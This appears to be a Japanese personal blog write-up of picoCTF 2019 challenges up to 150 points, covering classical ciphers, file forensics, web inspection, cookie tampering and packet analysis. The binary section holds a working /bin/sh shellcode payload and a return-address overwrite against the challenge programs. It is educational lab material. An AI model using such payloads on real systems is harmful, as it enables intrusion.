好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

picoCTF2019 ~150pt問題のwrite-up

中高生向けのCTF、picoCTF 2019 の write-up です。他の得点帯の write-up へのリンクはこちらを参照。

kusuwada.hatenablog.com

[General] The Factory's Secret (1pt)

There appear to be some mysterious glyphs hidden inside this abandoned factory... I wonder what would happen if you collected them all?

Hints

Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{hello}' as the flag.

picoCTFのGameに飛ばされます。2018の時はやらなくても全問解けたんですけど、今回はGame必須のようです。時間がかかりそうだったので飛ばしていましたが、Walkthroughというヒントを得るためにGameをやっていたら、材料が集まっていました。

今回のGameはこんな感じ。ファミコン風。

f:id:kusuwada:20191012012840p:plain

気づいたら自分のPCのPasswordが書き換えられていた設定。脱出ゲームみある。
部屋を出ると、ミニゲームで遊べたり、各ジャンルの部屋に行って問題を見たりヒントを見たり出来ます。HackerTokenという、ミニゲームをしたりするともらえるポイントがあるので、それを使ってWalkthroughという第二のヒントみたいなのをもらうことも出来ます。

今回のこの問題は、各ジャンルの部屋に落ちてたり何かすると出てくるQRコードの断片を拾い集めていきます。全部拾うと、勝手にQRコードを繋いだやつを出してくれます。

f:id:kusuwada:20191012012903p:plain

このQRコードを読むと、password: xmfv53uqkf621gakvh502gxfu1g78glds とあるので、これをGameの自分のPCに入力すると、こんな会話が見れます。

f:id:kusuwada:20191012012906p:plain

ということで、flagは picoCTF{zerozerozerozero}

[General] 2Warm (50pt)

Can you convert the number 42 (base 10) to binary (base 2)?

簡単なものは下記のようなサイトで確認しています。

10進の 42 は 2進で101010 なので、flagは picoCTF{101010}

[Forensics] Glory of the Garden (50pt)

This garden contains more than it seems. You can also find the file in /problems/glory-of-the-garden_6_7eeaa66ad1ee7a7b11096c8028a966dc on the shell server.

画像ファイルが配布されます。

f:id:kusuwada:20191012012946j:plain

stringコマンドで文字列を探してみます。

$ strings garden.jpg | grep picoCTF{
Here is a flag "picoCTF{more_than_m33ts_the_3y30cAf8c6B}"

出た!

[Web] Insp3ct0r (50pt)

Kishor Balan tipped us off that the following code may need inspection: https://2019shell1.picoctf.com/problem/9509/ (link)

指定されたurlに飛んでみます。

f:id:kusuwada:20191012013138p:plain

Howのタブをクリックしてみると、こんなメッセージが。

f:id:kusuwada:20191012013201p:plain

HTML, CSS, js に flagが隠れている予感です。HTMLのソースを表示してみます。

f:id:kusuwada:20191012013208p:plain

(略)
    <title>My First Website :)</title>
    <link href="https://fonts.googleapis.com/css?family=Open+Sans|Roboto" rel="stylesheet">
    <link rel="stylesheet" type="text/css" href="mycss.css">
    <script type="application/javascript" src="myjs.js"></script>
(略)
    </p>
    <!-- Html is neat. Anyways have 1/3 of the flag: picoCTF{tru3_d3 -->
      </div>
(略)

まず、flagの出だしっぽいのがコメントに書いてあります。
あとはリンクの mycss.css, myjs.jsがアヤシイのでリンクをクリックして飛んでみます。

mycss.css の最後にこのコメント。

/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */

myjs.jsの最後にはこのコメントが。

/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?5281bfe9} */

全部をつなげるとflagになります。

flag: picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?5281bfe9}

[General] Lets Warm Up (50pt)

If I told you a word started with 0x70 in hexadecimal, what would it start with in ASCII?

簡単なものは下記のようなサイトで確認しています。

0x70 は p なので、flagは picoCTF{p}

コードを書くならこんな感じ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

hexadecimal = 0x70
print('picoCTF{' + chr(hexadecimal) + '}')

実行結果

$ python solve.py 
picoCTF{p}

[Crypto] The Numbers (50pt)

The numbers... what do they mean?

Hints

The flag is in the format PICOCTF{}

画像が配布されます。

f:id:kusuwada:20191012013411p:plain

16 9 3 15 3 20 6 { 20 8 5 14 21 13 2 5 18 19 13 1 19 15 14 }

なんとなくflagのフォーマットっぽいですね。
ヒントから、PICOCTF{}らしいので、こんな対応になりそう。

16 -> P
 9 -> I
 3 -> C
15 -> O
 3 -> C
20 -> T
 6 -> F

これはただのalphabet番号ですね。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = '16 9 3 15 3 20 6 { 20 8 5 14 21 13 2 5 18 19 13 1 19 15 14 }'
flag = ''

for c in cipher.split():
    if c.isnumeric():
        flag += string.ascii_uppercase[int(c)-1]
    else:
        flag += c

print(flag)

実行結果

$ python solve.py
PICOCTF{THENUMBERSMASON}

[Binary] handy-shellcode (50pt)

This program executes any shellcode that you give it. Can you spawn a shell and use that to read the flag.txt? You can find the program in /problems/handy-shellcode_5_9e49e170b8dce9cca12337064a539100 on the shell server. Source.

Hints

You might be able to find some good shellcode online.

ソースコード vuln.c と実行ファイル vuln が配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter your shellcode:");
  vuln(buf);

  puts("Thanks! Executing now...");
  
  ((void (*)())buf)();


  puts("Finishing Executing Shellcode. Exiting now...");
  
  return 0;
}

pwntoolの機能を使って、実行ファイルの形式を確認してみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

e = ELF('vuln')

実行結果

$ python solve.py
[*] '***/picoCTF_2019/Binary/50_handy-shellcode/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE

i386-32。

問題文とヒントから、オンラインでshellcodeを探してきて喰わせてあげれば良さそう。対象のアーキテクチャに合った、"/bin/sh" を起動するshellcodeを探します。
shellcodeが沢山置いてあるサイト shell-storm | Shellcodes Database を今回も利用します。

そしてなんか見たことあると思ったら picoCTF2018 shellcode に全く同じ問題がありました。ここに解法があるので、使えたshellcodeへのリンクと実行したコマンドだけ。

$ (echo -e "\x68\xcd\x80\x68\x68\xeb\xfc\x68\x6a\x0b\x58\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xeb\xe1"; cat) | ./vuln
Enter your shellcode:
h̀hh��hj
       X1�Rh//shh/bin��RS����
Thanks! Executing now...
cat flag.txt
picoCTF{h4ndY_d4ndY_sh311c0d3_0b440487}

[Binary] practice-run-1 (50pt)

You're going to need to know how to run programs if you're going to get out of here. Navigate to /problems/practice-run-1_0_c62697366758d52f964514f36a6f1d13 on the shell server and run this program to receive a flag.

Hints

How do you execute a program in a command line?

実行ファイルが配布されますが、shell server 上で実行します。
shell serverにログインし、指定されたディレクトリに移動します。

$ cd /problems/practice-run-1_0_c62697366758d52f964514f36a6f1d13
$ ls
run_this

配布されたのと同じ実行ファイルがありました。実行してみます。

$ ./run_this 
picoCTF{g3t_r3adY_2_r3v3r53}

おや、flag出てしまった。handy-shellcodeと難易度が違いすぎやしないかい?

[Forensics] unzip (50pt)

Can you unzip this file and get the flag?

zipファイルが配布されます。落としてきてダブルクリックするだけで解凍されました。こんな画像が。

f:id:kusuwada:20191012013455p:plain

flag: picoCTF{unz1pp1ng_1s_3a5y}

どちらかというとこの画像からテキストを起こすほうが難しい。

[Reverse] vault-door-training (50pt)

Your mission is to enter Dr. Evil's laboratory and retrieve the blueprints for his Doomsday Project. The laboratory is protected by a series of locked vault doors. Each door is controlled by a computer and requires a password to open. Unfortunately, our undercover agents have not been able to obtain the secret passwords for the vault doors, but one of our junior agents obtained the source code for each vault's computer! You will need to read the source code for each level to figure out what the password is for that vault door. As a warmup, we have created a replica vault in our training facility. The source code for the training vault is here: VaultDoorTraining.java

問題文が長すぎて。

配布されるのは、javaソースコードです。

import java.util.*;

class VaultDoorTraining {
    public static void main(String args[]) {
        VaultDoorTraining vaultDoor = new VaultDoorTraining();
        Scanner scanner = new Scanner(System.in); 
        System.out.print("Enter vault password: ");
        String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
    }
   }

    // The password is below. Is it safe to put the password in the source code?
    // What if somebody stole our source code? Then they would know what our
    // password is. Hmm... I will think of some ways to improve the security
    // on the other doors.
    //
    // -Minion #9567
    public boolean checkPassword(String password) {
        return password.equals("w4rm1ng_Up_w1tH_jAv4_ba382529688");
    }
}

ユーザー入力で得た文字列を、そのまま checkPassword 関数で平文のまま突き合わせてチェックしています。この問題は、きっとコメント部分が重要で「ソースコードにパスワードをそのままハードコーディングするんじゃないよ!」ってのが伝えたいんだと思われます。

flag: picoCTF{w4rm1ng_Up_w1tH_jAv4_ba382529688}

[Crypto] 13 - Points (100pt)

Cryptography can be easy, do you know what ROT13 is? cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}

ROT13なので、アルファベットを13文字ずらしてあげます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = 'cvpbPGS{abg_gbb_onq_bs_n_ceboyrz}'
alphabet = list(string.ascii_uppercase)

def rot13(c):
    return alphabet[(alphabet.index(c) + 13) % 26]

plain = ''
for c in cipher:
    if c.isupper():
        plain += rot13(c)
    elif c.islower():
        plain += rot13(c.upper()).lower()
    else:
        plain += c
print(plain)

実行結果

$ python rot13.py 
picoCTF{not_too_bad_of_a_problem}

[General] Bases (100pt)

What does this bDNhcm5fdGgzX3IwcDM1 mean? I think it has something to do with bases.

名前と文字列(数値とアルファベットの大文字小文字が混在)を見る感じ、base64エンコードして有りそうなので base64 decode してあげます。

簡単そうな時はオンラインサイト使っちゃってます。Base64 Decode and Encode - Online

flag: picoCTF{l3arn_th3_r0p35}

[Crypto] Easy1 (100pt)

The one time pad can be cryptographically secure, but not when you know the key. Can you solve this? We've given you the encrypted flag, key, and a table to help UFJKXQZQUNB with the key of SOLVECRYPTO. Can you use this table to solve it?.

Hints

Submit your answer in our competition's flag format. For example, if you answer was 'hello', you would submit 'picoCTF{HELLO}' as the flag. Please use all caps for the message.

table.txt が配布されます。

    A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 
   +----------------------------------------------------
A | A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
B | B C D E F G H I J K L M N O P Q R S T U V W X Y Z A
C | C D E F G H I J K L M N O P Q R S T U V W X Y Z A B
D | D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
E | E F G H I J K L M N O P Q R S T U V W X Y Z A B C D
F | F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
G | G H I J K L M N O P Q R S T U V W X Y Z A B C D E F
H | H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
I | I J K L M N O P Q R S T U V W X Y Z A B C D E F G H
J | J K L M N O P Q R S T U V W X Y Z A B C D E F G H I
K | K L M N O P Q R S T U V W X Y Z A B C D E F G H I J
L | L M N O P Q R S T U V W X Y Z A B C D E F G H I J K
M | M N O P Q R S T U V W X Y Z A B C D E F G H I J K L
N | N O P Q R S T U V W X Y Z A B C D E F G H I J K L M
O | O P Q R S T U V W X Y Z A B C D E F G H I J K L M N
P | P Q R S T U V W X Y Z A B C D E F G H I J K L M N O
Q | Q R S T U V W X Y Z A B C D E F G H I J K L M N O P
R | R S T U V W X Y Z A B C D E F G H I J K L M N O P Q
S | S T U V W X Y Z A B C D E F G H I J K L M N O P Q R
T | T U V W X Y Z A B C D E F G H I J K L M N O P Q R S
U | U V W X Y Z A B C D E F G H I J K L M N O P Q R S T
V | V W X Y Z A B C D E F G H I J K L M N O P Q R S T U
W | W X Y Z A B C D E F G H I J K L M N O P Q R S T U V
X | X Y Z A B C D E F G H I J K L M N O P Q R S T U V W
Y | Y Z A B C D E F G H I J K L M N O P Q R S T U V W X
Z | Z A B C D E F G H I J K L M N O P Q R S T U V W X Y

これはヴィジュネル暗号 のテーブルですね。

最初の文字は、暗号文が U, keyが S なので、テーブルの横indexから S を探し、その列で U が出てくる箇所を探します。その行のindexは C なので、一文字目の平文は C になります。これをプログラムにするとこんな感じ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = 'UFJKXQZQUNB'
key = 'SOLVECRYPTO'
alphabet = list(string.ascii_uppercase)

def vigenere(c, k):
    diff = (alphabet.index(c) - alphabet.index(k)) % 26
    return alphabet[diff]

plain = ''
for i in range(len(cipher)):
    plain += vigenere(cipher[i], key[i])
print('picoCTF{' + plain + '}')

実行結果

$ python vigenere.py 
picoCTF{CRYPTOISFUN}

[General] First Grep (100pt)

Can you find the flag in file? This would be really tedious to look through manually, something tells me there is a better way. You can also find the file in /problems/first-grep_4_304432c5b16897937e2091d4c65dbb32 on the shell server.

問題文から grep してフラグを探す問題のようです。

配布される filegrep してみます。

$ grep picoCTF{ file
picoCTF{grep_is_good_to_find_things_737a3686}

[Binary] OverFlow 0 (100pt)

This should be easy. Overflow the correct buffer in this program and get a flag. Its also found in /problems/overflow-0_0_ecb5315ed848edab043809ca6f7ea317 on the shell server. Source.

実行ファイル vulnソースコード vuln.c が配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>

#define FLAGSIZE_MAX 64

char flag[FLAGSIZE_MAX];

void sigsegv_handler(int sig) {
  fprintf(stderr, "%s\n", flag);
  fflush(stderr);
  exit(1);
}

void vuln(char *input){
  char buf[128];
  strcpy(buf, input);
}

int main(int argc, char **argv){
  
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  if (argc > 1) {
    vuln(argv[1]);
    printf("You entered: %s", argv[1]);
  }
  else
    printf("Please enter an argument next time\n");
  return 0;
}

問題のタイトルから、Buffer Overflow の脆弱性を使う問題のようです。

ソースコードを見ると、flag.txtを読み込んだ後、ユーザー入力を vuln 関数で表示しています。ユーザー入力に長い文字列を突っ込めば前に読み込んでメモリに書いてあるflagがペロッと出てきそうです。
本物の flag.txt は shell server 上にあるので、shell server 上で実行します。

$ ./vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
picoCTF{3asY_P3a5yb6590325}

[General] Resources (100pt)

We put together a bunch of resources to help you out on our website! If you go over there, you might even find a flag! https://picoctf.com/resources (link)

リンク先に飛んでみると、こんなサイトが。ここに行けばflagが見つかるらしいけども。

f:id:kusuwada:20191012015034p:plain

いました。2019の方を入れると通りました。

[Crypto] caesar (100pt)

Decrypt this message. You can find the ciphertext in /problems/caesar_1_127161577a2c5495f66dc81b13bbba4f on the shell server.

ciphertext が配布されます。

picoCTF{vkhllbgzmaxknubvhglzeipcie}

この{}の中がシーザー暗号になっているんでしょう。何文字ずらすかわからないので、アルファベットが1周するだけ(26文字)ずらして全部表示させてみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string

cipher = 'vkhllbgzmaxknubvhglzeipcie'
alphabet = list(string.ascii_lowercase)

def shift(c, num):
    return alphabet[(alphabet.index(c) + num) % 26]

for i in range(26):
    plain = ''
    for c in cipher:
        plain += shift(c, i)
    print('picoCTF{' + plain + '}')

実行結果

$ python caesar.py 
picoCTF{vkhllbgzmaxknubvhglzeipcie}
picoCTF{wlimmchanbylovcwihmafjqdjf}
picoCTF{xmjnndiboczmpwdxjinbgkrekg}
picoCTF{ynkooejcpdanqxeykjochlsflh}
picoCTF{zolppfkdqeboryfzlkpdimtgmi}
picoCTF{apmqqglerfcpszgamlqejnuhnj}
picoCTF{bqnrrhmfsgdqtahbnmrfkoviok}
picoCTF{crossingtherubiconsglpwjpl}
picoCTF{dspttjohuifsvcjdpothmqxkqm}
picoCTF{etquukpivjgtwdkeqpuinrylrn}
picoCTF{furvvlqjwkhuxelfrqvjoszmso}
picoCTF{gvswwmrkxlivyfmgsrwkptantp}
picoCTF{hwtxxnslymjwzgnhtsxlqubouq}
picoCTF{ixuyyotmznkxahoiutymrvcpvr}
picoCTF{jyvzzpunaolybipjvuznswdqws}
picoCTF{kzwaaqvobpmzcjqkwvaotxerxt}
picoCTF{laxbbrwpcqnadkrlxwbpuyfsyu}
picoCTF{mbyccsxqdrobelsmyxcqvzgtzv}
picoCTF{nczddtyrespcfmtnzydrwahuaw}
picoCTF{odaeeuzsftqdgnuoazesxbivbx}
picoCTF{pebffvatgurehovpbaftycjwcy}
picoCTF{qfcggwbuhvsfipwqcbguzdkxdz}
picoCTF{rgdhhxcviwtgjqxrdchvaelyea}
picoCTF{sheiiydwjxuhkrysediwbfmzfb}
picoCTF{tifjjzexkyvilsztfejxcgnagc}
picoCTF{ujgkkafylzwjmtaugfkydhobhd}

この中で意味が通りそうなやつを探します。これが一番意味が通りそう。

picoCTF{crossingtherubiconsglpwjpl}

flagも通った。

[Web] dont-use-client-side (100pt)

Can you break into this super secure portal? https://2019shell1.picoctf.com/problem/39185/ (link)

Hints

Never trust the client

問題のタイトル・ヒントからして、クライアントサイドにflagが埋まってあるっぽい。クライアントサイドは不特定多数に配布するものなので、ここに大事な情報を入れちゃいけないよっていう、これも教育的なあれですかね。

ということで、クライアントに配布されたソースコードを確認してみます。

(略)
<script type="text/javascript">
  function verify() {
    checkpass = document.getElementById("pass").value;
    split = 4;
    if (checkpass.substring(0, split) == 'pico') {
      if (checkpass.substring(split*6, split*7) == '83b1') {
        if (checkpass.substring(split, split*2) == 'CTF{') {
         if (checkpass.substring(split*4, split*5) == 'ts_p') {
          if (checkpass.substring(split*3, split*4) == 'lien') {
            if (checkpass.substring(split*5, split*6) == 'lz_a') {
              if (checkpass.substring(split*2, split*3) == 'no_c') {
                if (checkpass.substring(split*7, split*8) == 'f}') {
                  alert("Password Verified")
                  }
                }
              }
      
            }
          }
        }
      }
    }
    else {
      alert("Incorrect password");
    }
    
  }
</script>
(略)

パスワードの照合ロジックが完全に書かれています。バラバラにされているので、順を追ってつなげてやるとこうなります。

flag: picoCTF{no_clients_plz_a83b1f}

[Web] logon (100pt)

The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? https://2019shell1.picoctf.com/problem/45163/ (link) or http://2019shell1.picoctf.com:45163

リンク先に飛ぶと、こんなページが。ログインとサインアウト機能のみのサイトのようです。

f:id:kusuwada:20191012013544p:plain

試しに適当に入れてログインすると入れました。ちなみにnameもpasswordも空欄でも入れます。

f:id:kusuwada:20191012013618p:plain

どうやら一般ユーザーにはflagを見せてくれないようです。adminでログインを試みます。usernameにadminを入れただけだと一般ユーザー扱いのようです。

ここで、Chromeの開発者ツールを使って、cookieを確認してみます。

f:id:kusuwada:20191012013633p:plain

おや、さっき入れたusernameもpasswordも全部ここに入っています。そして admin: False の cookieも。これを True に変えてやってページを更新してみます。

f:id:kusuwada:20191012013648p:plain

[General] strings it (100pt)

Can you find the flag in file without running it? You can also find the file in /problems/strings-it_1_fea6447aede6c878cc51ba0bab42decc on the shell server.

file が配布されます。grepの問題と同様、今度はstringsコマンドでflagを探せそうです。

$ strings strings | grep picoCTF{
picoCTF{5tRIng5_1T_71313227}

[Reversing] vault-door-1 (100pt)

This vault uses some complicated arrays! I hope you can make sense of it, special agent. The source code for this vault is here: VaultDoor1.java

javaのソースが配布されます。

import java.util.*;

class VaultDoor1 {
    public static void main(String args[]) {
        VaultDoor1 vaultDoor = new VaultDoor1();
        Scanner scanner = new Scanner(System.in);
        System.out.print("Enter vault password: ");
    String userInput = scanner.next();
    String input = userInput.substring("picoCTF{".length(),userInput.length()-1);
    if (vaultDoor.checkPassword(input)) {
        System.out.println("Access granted.");
    } else {
        System.out.println("Access denied!");
    }
    }

    // I came up with a more secure way to check the password without putting
    // the password itself in the source code. I think this is going to be
    // UNHACKABLE!! I hope Dr. Evil agrees...
    //
    // -Minion #8728
    public boolean checkPassword(String password) {
        return password.length() == 32 &&
               password.charAt(0)  == 'd' &&
               password.charAt(29) == '3' &&
               password.charAt(4)  == 'r' &&
               password.charAt(2)  == '5' &&
               password.charAt(23) == 'r' &&
               password.charAt(3)  == 'c' &&
               password.charAt(17) == '4' &&
               password.charAt(1)  == '3' &&
               password.charAt(7)  == 'b' &&
               password.charAt(10) == '_' &&
               password.charAt(5)  == '4' &&
               password.charAt(9)  == '3' &&
               password.charAt(11) == 't' &&
               password.charAt(15) == 'c' &&
               password.charAt(8)  == 'l' &&
               password.charAt(12) == 'H' &&
               password.charAt(20) == 'c' &&
               password.charAt(14) == '_' &&
               password.charAt(6)  == 'm' &&
               password.charAt(24) == '5' &&
               password.charAt(18) == 'r' &&
               password.charAt(13) == '3' &&
               password.charAt(19) == '4' &&
               password.charAt(21) == 'T' &&
               password.charAt(16) == 'H' &&
               password.charAt(27) == '3' &&
               password.charAt(30) == '4' &&
               password.charAt(25) == '_' &&
               password.charAt(22) == '3' &&
               password.charAt(28) == '8' &&
               password.charAt(26) == 'f' &&
               password.charAt(31) == '3';
    }
}

checkPasswirdの中のpassword.charAt(num) を順番に並べ替えるだけで良さそうです。さっきのReversing問題 vault-door-training の続編っぽいですね。よりセキュアな方法を思いついたよ!とコメントにありますが、これでは丸見えとあまり変わらないよねっていう問題だと思う。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

charAt = {0: 'd', 29: '3', 4: 'r', 2: '5', 23: 'r', 3: 'c', 17: '4', 1: '3', 7: 'b', 10: '_', 5: '4', 9: '3', 11: 't', 15: 'c', 8: 'l', 12: 'H', 20: 'c', 14: '_', 6: 'm', 24: '5', 18: 'r', 13: '3', 19: '4', 21: 'T', 16: 'H', 27: '3', 30: '4', 25: '_', 22: '3', 28: '8', 26: 'f', 31: '3'}

flag = ""
for i in range(32):
    flag += charAt[i]
print('picoCTF{' + flag + '}')

実行結果

$ python solve.py 
picoCTF{d35cr4mbl3_tH3_cH4r4cT3r5_f38343}

[General] what's a net cat? (100pt)

Using netcat (nc) is going to be pretty important. Can you connect to 2019shell1.picoctf.com at port 49816 to get the flag?

今度は netcat コマンドの使い方の問題のようです。

$ nc 2019shell1.picoctf.com 49816
You're on your way to becoming the net cat master
picoCTF{nEtCat_Mast3ry_de552a4a}

[Web] where are the robots (100pt)

Can you find the robots? https://2019shell1.picoctf.com/problem/32229/ (link) or http://2019shell1.picoctf.com:32229

今度はrobotに関する問題のようです。

robots.txtとは検索エンジンクローラー(ロボット)のWEBページのへのアクセスを制限するためのファイルで、ロボットに向けた命令文(アクセスを許可/許可しない)を記述します。

出典: robots.txtとは | SEO用語集:意味/解説/SEO効果など [SEO HACKS]

問題のリンク先に飛んでみます。

f:id:kusuwada:20191012013720p:plain

なんの機能もないサイトのようです。ここで、robots.txtのありそうなパスに飛んでみます。robots.txtは名前が決まっている&ルート直下に置くので、きっとhttps://2019shell1.picoctf.com/problem/32229/robots.txtにありそう。

f:id:kusuwada:20191012013735p:plain

ありました。アクセスを禁止しているパスが一つだけあります。飛んでみましょう。 https://2019shell1.picoctf.com/problem/32229/9ad15.html

f:id:kusuwada:20191012013747p:plain

[Binary] OverFlow 1 (150pt)

You beat the first overflow challenge. Now overflow the buffer and change the return address to the flag function in this program? You can find it in /problems/overflow-1_6_cfdf3f2a47dd76fa6653a5140faf188e on the shell server. Source.

ソースコードvuln.cと実行フィアルvulnが配布されます。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFFSIZE 64
#define FLAGSIZE 64

void flag() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFFSIZE];
  gets(buf);

  printf("Woah, were jumping to 0x%x !\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  puts("Give me a string and lets see what happens: ");
  vuln();
  return 0;
}

mainからは呼ばれていないflag関数を呼び出すと、flagを表示してくれそうです。
ひとまず実行してみます。

$ ./vuln 
Give me a string and lets see what happens: 
aaaa
Woah, were jumping to 0x8048705 !

picoCTF2018の buffer overflow 1 と似た問題。こちらもwriteupは全く同じになるので、今回は簡単に。

flag関数のアドレスを調べます。

$ objdump -d vuln | grep flag
080485e6 <flag>:
 8048618:       75 1c                   jne    8048636 <flag+0x50>

今回の実行ファイルはリトルエンディアンなので、packすると\xe6\x85\x04\x08になります。
stackはこんな感じ。

eax    | buffer start |
       | <64+8 bytes> |
       | buffer end   |
ebp    |   <4 bytes>  |
return |              |

64+8+4(=76)バイトから先が、returnアドレスにあふれてきます。ということで今回は、76バイトを適当に埋めてあげて先程のflag関数のアドレスを流します。

$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xe6\x85\x04\x08" | ./vuln
Give me a string and lets see what happens: 
Woah, were jumping to 0x80485e6 !
picoCTF{n0w_w3r3_ChaNg1ng_r3tURn5b80c9cbf}Segmentation fault (core dumped)

[Forensics] So Meta (150pt)

Find the flag in this picture. You can also find the file in /problems/so-meta_0_9ac2819095168175302151e5babd13be.

下記のような画像(pico_img.png)がダウンロードできます。

f:id:kusuwada:20191012013819p:plain

こちらもstringsコマンドで見てみるとflagが出てきました。

$ strings pico_img.png | grep picoCTF{
picoCTF{s0_m3ta_74e57c5c}

[Forensics] What Lies Within (150pt)

Theres something in the building. Can you retrieve the flag?

Hints

There is data encoded somewhere, there might be an online decoder

また画像(buildings.png)がダウンロードできます。

f:id:kusuwada:20191012013842p:plain

今回はstringsコマンドでは何も出てきません。
ヒントにオンラインツールでdecodeできるっぽかったので、サイトを探してみます。

Steganography Online

お、ありました!ここのDecodeに画像をアップして解析してもらうと、flagが出てきました!

f:id:kusuwada:20191012013859p:plain

[Forensics] extensions (150pt)

This is a really weird text file TXT? Can you find the flag?

タイトルと問題文から、拡張子に関する問題のようです。配布されるファイルはflag.txt
開いてみると、先頭にデカデカと PNG の文字が…!
念の為、拡張子をファイルから外してfileコマンドで見てみると

$ file flag 
flag: PNG image data, 1697 x 608, 8-bit/color RGB, non-interlaced

やっぱりPNGでした。flag.pngとして開いてあげます。

f:id:kusuwada:20191012013924p:plain

しかし実は、macのFinderでサムネイルを表示してやると、もとのflag.txtの状態でもflagが出てきていたのでした…。

f:id:kusuwada:20191012013937p:plain

[Forensics] shark on wire 1 (150pt)

We found this packet capture. Recover the flag. You can also find the file in /problems/shark-on-wire-1_0_606ee6b0b78f6987c7b12f43253b2d9b.

packet capture, shark, wire ということでwiresharkを使うと良さそう。packet captureが配布されるのでwire sharkで開いてみます。

f:id:kusuwada:20191012014039p:plain

2317行!序盤にしては長い…!
wireshark苦手なので、とりあえずテキストに吐き出してガチャガチャしてみます。

メニューの File > Export Packet Dissections > As Plain Text...

f:id:kusuwada:20191012013959p:plain

これで出来たファイルを眺めてみます。1.3Mもありました。
picoとかflagという文字列を探してみますがありません。{で探してみると、2件だけHitしました。この通信のようです。

Frame 669: 60 bytes on wire (480 bits), 60 bytes captured (480 bits)
Ethernet II, Src: Vmware_b9:02:a9 (00:0c:29:b9:02:a9), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
Internet Protocol Version 4, Src: 10.0.0.2, Dst: 10.0.0.13
User Datagram Protocol, Src Port: 5000, Dst Port: 8888
Data (1 byte)

0000  7b                                                {

おや、i byteのデータだけが送られてきて怪しい。これはフラグをばらして一文字ずつ送ってきてるパターンっぽいぞ。

あとは目星をつけて、この 1 byteずつ送られてきているデータの通信だけに絞ります。wiresharkのフィルタ機能が便利です。最終的にこんなフィルタがいい感じでした。

udp.srcport == 5000 && udp.dstport == 8888 && ip.dst == 10.0.0.12

f:id:kusuwada:20191012014057p:plain

この通信だけに絞ったものを、先程の容量でexportして、該当の行をgrepしてみます。

$ grep 0000 flag.txt 
0000  70                                                p
0000  69                                                i
0000  63                                                c
0000  6f                                                o
0000  43                                                C
0000  54                                                T
0000  46                                                F
0000  7b                                                {
0000  53                                                S
0000  74                                                t
0000  61                                                a
0000  54                                                T
0000  33                                                3
0000  31                                                1
0000  33                                                3
0000  35                                                5
0000  35                                                5
0000  5f                                                _
0000  36                                                6
0000  33                                                3
0000  36                                                6
0000  66                                                f
0000  36                                                6
0000  65                                                e
0000  36                                                6
0000  65                                                e
0000  7d                                                }

flag: picoCTF{StaT31355_636f6e6e}